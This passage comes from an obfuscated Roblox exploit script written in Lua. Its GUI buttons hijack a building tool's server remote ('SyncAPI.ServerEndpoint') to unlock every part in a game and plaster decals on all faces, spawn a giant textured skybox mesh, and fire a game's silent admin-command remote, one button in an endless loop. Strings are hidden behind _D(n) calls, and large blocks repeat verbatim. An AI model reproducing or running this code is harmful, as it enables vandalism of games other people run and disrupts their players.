function SetCollision(part,boolean)
local args = {
[1] = _D(888),
[2] = {
[1] = {
[_D(889)] = part,
[_D(890)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(891),
[2] = {
[1] = {
[_D(892)] = part,
[_D(893)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(894),
[2] = _D(895),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(896),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(897),
[2] = {
[1] = {
[_D(898)] = part,
[_D(899)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(900),
[2] = {
[1] = {
[_D(901)] = part,
[_D(902)] = cf,
[_D(903)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(904),
[2] = {
[1] = {
[_D(905)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(906),
[2] = {
[1] = {
[_D(907)] = part,
[_D(908)] = _D(909)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(910),
[2] = {
[1] = {
[_D(911)] = part,
[_D(912)] = _D(913)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(914),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(915),
[2] = {
[1] = {
[_D(916)] = part,
[_D(917)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(918),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(919),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(920),
[2] = {
[1] = {
[_D(921)] = part,
[_D(922)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(923),
[2] = {
[1] = {
[_D(924)] = part,
[_D(925)] = _D(926)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(927),
[2] = {
[1] = {
[_D(928)] = part,
[_D(929)] = _D(930),
[_D(931)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(932),
[2] = {
[1] = {
[_D(933)] = part,
[_D(934)] = color --[[Color3]],
[_D(935)] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = _D(936),
[2] = {
[1] = {
[_D(937)] = part,
[_D(938)] = side,
[_D(939)] = _D(940)
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = _D(941),
[2] = {
[1] = {
[_D(942)] = part,
[_D(943)] = side,
[_D(944)] = _D(945),
[_D(946)] = _D(947).. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA(_D(948)) then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam(_D(949))
end)
local UTSG = Instance.new(_D(950))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.40, 1, 0.133, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(951)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(952) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(953) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(954),
[2] = {
[1] = {
[_D(955)] = part,
[_D(956)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(957),
[2] = {
[1] = {
[_D(958)] = part,
[_D(959)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(960),
[2] = _D(961),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(962),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(963),
[2] = {
[1] = {
[_D(964)] = part,
[_D(965)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(966),
[2] = {
[1] = {
[_D(967)] = part,
[_D(968)] = cf,
[_D(969)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(970),
[2] = {
[1] = {
[_D(971)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(972),
[2] = {
[1] = {
[_D(973)] = part,
[_D(974)] = _D(975)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(976),
[2] = {
[1] = {
[_D(977)] = part,
[_D(978)] = _D(979)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(980),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(981),
[2] = {
[1] = {
[_D(982)] = part,
[_D(983)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(984),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(985),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(986),
[2] = {
[1] = {
[_D(987)] = part,
[_D(988)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(989),
[2] = {
[1] = {
[_D(990)] = part,
[_D(991)] = _D(992)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(993),
[2] = {
[1] = {
[_D(994)] = part,
[_D(995)] = _D(996),
[_D(997)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(998),
[2] = {
[1] = {
[_D(999)] = part,
[_D(1000)] = color --[[Color3]],
[_D(1001)] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = _D(1002),
[2] = {
[1] = {
[_D(1003)] = part,
[_D(1004)] = side,
[_D(1005)] = _D(1006)
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = _D(1007),
[2] = {
[1] = {
[_D(1008)] = part,
[_D(1009)] = side,
[_D(1010)] = _D(1011),
[_D(1012)] = _D(1013).. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA(_D(1014)) and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,_D(1015))
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,_D(1016))
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(4000, 4000, 4000))
SetLocked(v,true)
end
end
end
Sky(_D(1017))
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(1018) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(1019) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(1020),
[2] = {
[1] = {
[_D(1021)] = part,
[_D(1022)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(1023),
[2] = {
[1] = {
[_D(1024)] = part,
[_D(1025)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(1026),
[2] = _D(1027),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(1028),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(1029),
[2] = {
[1] = {
[_D(1030)] = part,
[_D(1031)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(1032),
[2] = {
[1] = {
[_D(1033)] = part,
[_D(1034)] = cf,
[_D(1035)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(1036),
[2] = {
[1] = {
[_D(1037)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(1038),
[2] = {
[1] = {
[_D(1039)] = part,
[_D(1040)] = _D(1041)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(1042),
[2] = {
[1] = {
[_D(1043)] = part,
[_D(1044)] = _D(1045)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(1046),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(1047),
[2] = {
[1] = {
[_D(1048)] = part,
[_D(1049)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(1050),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(1051),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(1052),
[2] = {
[1] = {
[_D(1053)] = part,
[_D(1054)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(1055),
[2] = {
[1] = {
[_D(1056)] = part,
[_D(1057)] = _D(1058)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(1059),
[2] = {
[1] = {
[_D(1060)] = part,
[_D(1061)] = _D(1062),
[_D(1063)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(1064),
[2] = {
[1] = {
[_D(1065)] = part,
[_D(1066)] = color --[[Color3]],
[_D(1067)] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = _D(1068),
[2] = {
[1] = {
[_D(1069)] = part,
[_D(1070)] = side,
[_D(1071)] = _D(1072)
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = _D(1073),
[2] = {
[1] = {
[_D(1074)] = part,
[_D(1075)] = side,
[_D(1076)] = _D(1077),
[_D(1078)] = _D(1079).. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA(_D(1080)) then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam(_D(1081))
end)
local UTSG = Instance.new(_D(1082))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.597, 1, 0.133, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(1083)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(1084) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(1085) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(1086),
[2] = {
[1] = {
[_D(1087)] = part,
[_D(1088)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(1089),
[2] = {
[1] = {
[_D(1090)] = part,
[_D(1091)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(1092),
[2] = _D(1093),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(1094),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(1095),
[2] = {
[1] = {
[_D(1096)] = part,
[_D(1097)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(1098),
[2] = {
[1] = {
[_D(1099)] = part,
[_D(1100)] = cf,
[_D(1101)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(1102),
[2] = {
[1] = {
[_D(1103)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(1104),
[2] = {
[1] = {
[_D(1105)] = part,
[_D(1106)] = _D(1107)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(1108),
[2] = {
[1] = {
[_D(1109)] = part,
[_D(1110)] = _D(1111)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(1112),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(1113),
[2] = {
[1] = {
[_D(1114)] = part,
[_D(1115)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(1116),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(1117),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(1118),
[2] = {
[1] = {
[_D(1119)] = part,
[_D(1120)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(1121),
[2] = {
[1] = {
[_D(1122)] = part,
[_D(1123)] = _D(1124)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(1125),
[2] = {
[1] = {
[_D(1126)] = part,
[_D(1127)] = _D(1128),
[_D(1129)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(1130),
[2] = {
[1] = {
[_D(1131)] = part,
[_D(1132)] = color --[[Color3]],
[_D(1133)] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = _D(1134),
[2] = {
[1] = {
[_D(1135)] = part,
[_D(1136)] = side,
[_D(1137)] = _D(1138)
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = _D(1139),
[2] = {
[1] = {
[_D(1140)] = part,
[_D(1141)] = side,
[_D(1142)] = _D(1143),
[_D(1144)] = _D(1145).. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA(_D(1146)) then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam(_D(1147))
end)
local UTSG = Instance.new(_D(1148))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.793, 1, 0.133, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(1149)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(1150) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(1151) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(1152),
[2] = {
[1] = {
[_D(1153)] = part,
[_D(1154)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(1155),
[2] = {
[1] = {
[_D(1156)] = part,
[_D(1157)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(1158),
[2] = _D(1159),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(1160),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(1161),
[2] = {
[1] = {
[_D(1162)] = part,
[_D(1163)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(1164),
[2] = {
[1] = {
[_D(1165)] = part,
[_D(1166)] = cf,
[_D(1167)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(1168),
[2] = {
[1] = {
[_D(1169)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(1170),
[2] = {
[1] = {
[_D(1171)] = part,
[_D(1172)] = _D(1173)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(1174),
[2] = {
[1] = {
[_D(1175)] = part,
[_D(1176)] = _D(1177)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(1178),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(1179),
[2] = {
[1] = {
[_D(1180)] = part,
[_D(1181)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(1182),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(1183),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(1184),
[2] = {
[1] = {
[_D(1185)] = part,
[_D(1186)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(1187),
[2] = {
[1] = {
[_D(1188)] = part,
[_D(1189)] = _D(1190)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(1191),
[2] = {
[1] = {
[_D(1192)] = part,
[_D(1193)] = _D(1194),
[_D(1195)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(1196),
[2] = {
[1] = {
[_D(1197)] = part,
[_D(1198)] = color --[[Color3]],
[_D(1199)] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = _D(1200),
[2] = {
[1] = {
[_D(1201)] = part,
[_D(1202)] = side,
[_D(1203)] = _D(1204)
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = _D(1205),
[2] = {
[1] = {
[_D(1206)] = part,
[_D(1207)] = side,
[_D(1208)] = _D(1209),
[_D(1210)] = _D(1211).. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA(_D(1212)) and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,_D(1213))
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,_D(1214))
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(4000, 4000, 4000))
SetLocked(v,true)
end
end
end
Sky(_D(1215))
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(1216) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(1217) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(1218),
[2] = {
[1] = {
[_D(1219)] = part,
[_D(1220)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(1221),
[2] = {
[1] = {
[_D(1222)] = part,
[_D(1223)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(1224),
[2] = _D(1225),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(1226),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(1227),
[2] = {
[1] = {
[_D(1228)] = part,
[_D(1229)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(1230),
[2] = {
[1] = {
[_D(1231)] = part,
[_D(1232)] = cf,
[_D(1233)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(1234),
[2] = {
[1] = {
[_D(1235)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(1236),
[2] = {
[1] = {
[_D(1237)] = part,
[_D(1238)] = _D(1239)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(1240),
[2] = {
[1] = {
[_D(1241)] = part,
[_D(1242)] = _D(1243)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(1244),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(1245),
[2] = {
[1] = {
[_D(1246)] = part,
[_D(1247)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(1248),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(1249),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(1250),
[2] = {
[1] = {
[_D(1251)] = part,
[_D(1252)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(1253),
[2] = {
[1] = {
[_D(1254)] = part,
[_D(1255)] = _D(1256)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(1257),
[2] = {
[1] = {
[_D(1258)] = part,
[_D(1259)] = _D(1260),
[_D(1261)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(1262),
[2] = {
[1] = {
[_D(1263)] = part,
[_D(1264)] = color --[[Color3]],
[_D(1265)] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = _D(1266),
[2] = {
[1] = {
[_D(1267)] = part,
[_D(1268)] = side,
[_D(1269)] = _D(1270)
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = _D(1271),
[2] = {
[1] = {
[_D(1272)] = part,
[_D(1273)] = side,
[_D(1274)] = _D(1275),
[_D(1276)] = _D(1277).. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA(_D(1278)) then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam(_D(1279))
end)
local UTSG = Instance.new(_D(1280))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.005, 1, 0.177, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(1281)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(1282))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(1283)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(1284))
RequestCommand:InvokeServer(_D(1285))
end)
local UTSG = Instance.new(_D(1286))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.202, 1, 0.177, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(1287)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
while true do
local ReplicatedStorage = game:GetService(_D(1288))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(1289)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(1290))
task.wait(3)
RequestCommand:InvokeServer(_D(1291))
wait(3)
end
end)
local UTSG = Instance.new(_D(1292))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.40, 1, 0.177, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(1293)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(1294))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(1295)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(1296))
end)
local UTSG = Instance.new(_D(1297))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.597, 1, 0.177, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(1298)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(1299))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(1300)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(1301))
end)
local UTSG = Instance.new(_D(1302))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.793, 1, 0.177, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(1303)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(1304))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(1305)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(1306))
RequestCommand:InvokeServer(_D(1307))
task.wait(2)
RequestCommand:InvokeServer(_D(1308))
RequestCommand:InvokeServer(_D(1309))
end)
local UTSG = Instance.new(_D(1310))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.005, 1, 0.221, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(1311)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(1312))
